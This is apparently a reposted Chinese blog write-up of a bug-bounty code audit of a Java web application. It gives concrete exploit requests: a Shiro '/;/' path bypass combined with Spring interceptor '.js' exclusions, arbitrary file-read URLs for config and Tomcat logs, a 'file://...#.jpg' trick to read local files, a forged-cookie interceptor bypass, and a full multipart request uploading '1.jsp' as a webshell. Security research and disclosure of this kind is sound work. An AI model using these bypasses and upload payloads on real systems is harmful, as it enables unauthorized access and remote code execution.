一、前言
一次挖src遇到的站找了下源码审计,主要几个点是
1.shiro权限绕过+spring低版本特性绕拦截器
2.鸡肋任意文件下载到任意文件读取
3.采用.*绕拦截器的时候遇到很多接口406错误,进而转为寻找拦截器逻辑缺陷,最终getshell。
4.任意文件上传文件名随机,通过读取日志getshell
二、权限绕过
查看整个项目发现采用的shiro+拦截器做的权限校验
因为这个项目shiro的版本较低存在权限绕过可直接采用这种方式绕过
/;/api/test
spring mvc interceptor配置(列出部分)
<mvc:interceptors>
<mvc:interceptor>
<mvc:mapping path="/**"/> <!-- 拦截全部请求 -->
<mvc:exclude-mapping path="/api/**"/>
******
<mvc:exclude-mapping path="/**/**.css"/>
<mvc:exclude-mapping path="/**/**.js"/>
<mvc:exclude-mapping path="/**/**.txt"/>
<mvc:exclude-mapping path="/**/**.png"/>
<mvc:exclude-mapping path="/**/**.gif"/>
<mvc:exclude-mapping path="/**/**.docx"/>
<mvc:exclude-mapping path="/**/**.doc"/>
<mvc:exclude-mapping path="/**/**.xls"/>
<mvc:exclude-mapping path="/**/**.WAV"/>
<mvc:exclude-mapping path="/**/**.wav"/>
<mvc:exclude-mapping path="/**/**.mp3"/>
******
<bean class="com.xxxx.core.interceptor.LoginHandlerInterceptor"/>
</mvc:interceptor>
</mvc:interceptors>
此处存在一个缺陷,这个项目的springmvc版本小于5.3且web.xml配置不是采用*.do这种形式,配合下面这种配置
<mvc:exclude-mapping path="/**/**.css"/>
<mvc:exclude-mapping path="/**/**.js"/>
<mvc:exclude-mapping path="/**/**.txt"/>
<mvc:exclude-mapping path="/**/**.png"/>
<mvc:exclude-mapping path="/**/**.gif"/>
<mvc:exclude-mapping path="/**/**.docx"/>
<mvc:exclude-mapping path="/**/**.doc"/>
<mvc:exclude-mapping path="/**/**.xls"/>
<mvc:exclude-mapping path="/**/**.WAV"/>
<mvc:exclude-mapping path="/**/**.wav"/>
<mvc:exclude-mapping path="/**/**.mp3"/>
结合shiro的权限绕过利用如下。
/;/api/test.js
三、任意文件读取
/;/contractattachment/downLoadFile.js?url=WEB-INF/classes/log4j.properties&fname=1
/;/attachment/downLoadFile.js?url=WEB-INF/classes/log4j.properties
/;/requestlog/downloadLog.js?filename=xxxxx&code=SYSTEM_TOMCAT_LOG_PATH 读日志
有一处比较有意思的任意文件读取
正则为
String searchImgReg = "<(img|IMG)\b[^>]*\b(src|SRC|src2|SRC2)\b\s*=\s*('|")?([^'"nrf>]+(\.jpg|\.bmp|\.eps|\.gif|\.mif|\.miff|\.png|\.tif|\.tiff|\.svg|\.wmf|\.jpe|\.jpeg|\.dib|\.ico|\.tga|\.cut|\.pic)\b)[^>]*>";
本来是一个远程图片抓取的功能,想着shell但是没绕过去,但是通过构造可以实现任意文件读取。
第一点是此处可使用file协议读取本地文件最后文件会生出到web目录,但是有正则后缀限制,可使用#绕过。
构造POC在服务器放一个a.txt内容如下
<img src="file:///C://Windows//win.ini#.jpg" width="451" height="429" alt="Panel plików programu CKFinder" />
它会把读取的内容生成文件放在下
/uploadFiles/uploadImgs/当前日期/
文件名为file的最后一个斜杆后的内容
/uploadFiles/uploadImgs/20210823/win.ini%23.jpg
四、任意文件上传
找了半天有几个任意文件上传都不会回显路径文件名是随机的,会回显路径的任意文件上传采用.js或其他.xx结尾都会报406错误查了一下好像是说和它的返回值有关,于是重新审拦截器这一块发现存在逻辑缺陷
WEB-INF/classes/com/xxx/core/interceptor/LoginHandlerInterceptor.class
可以伪造请求头进入这个逻辑
com.xxxx.core.interceptor.MobileLoginHandlerInterceptor#handleLogin
跟入com.xxxx.weixin.util.CookieUtil#getCookie
查看配置文件发现默认进入else逻辑,此处需要获取appid伪造cookiename
发现进入到这个if里就会返回appid
com.xxx.core.interceptor.MobileLoginHandlerInterceptor#handleLogin
构造请求包
使用此appid构造cookiename 后面的图当时没存就贴个包吧
POST /;/attachment/portal/uploadFilePaste.do?type=0 HTTP/1.1
Host:
Content-Length: 12428
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5E9djX7vvCaYggpG
Via: ZXWAP
User-Agent: iPhone
Cookie: xxxx=1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http:////user/listUsers.do?DEPARTMENT_ID=¤tPage=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
Connection: close
------WebKitFormBoundary5E9djX7vvCaYggpG
Content-Disposition: form-data; name="blob"; filename="1.jsp"
Content-Type: image/png
------WebKitFormBoundary5E9djX7vvCaYggpG--
成功shell
后发现其随机文件名会保存在日志中可通过
/;/requestlog/downloadLog.js?filename=xxx&code=SYSTEM_TOMCAT_LOG_PATH
读取日志获取文件名又可以拿几个shell
还有挺多其他洞就不写了。
原文始发于微信公众号(白帽兔):某次SRC测试之代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论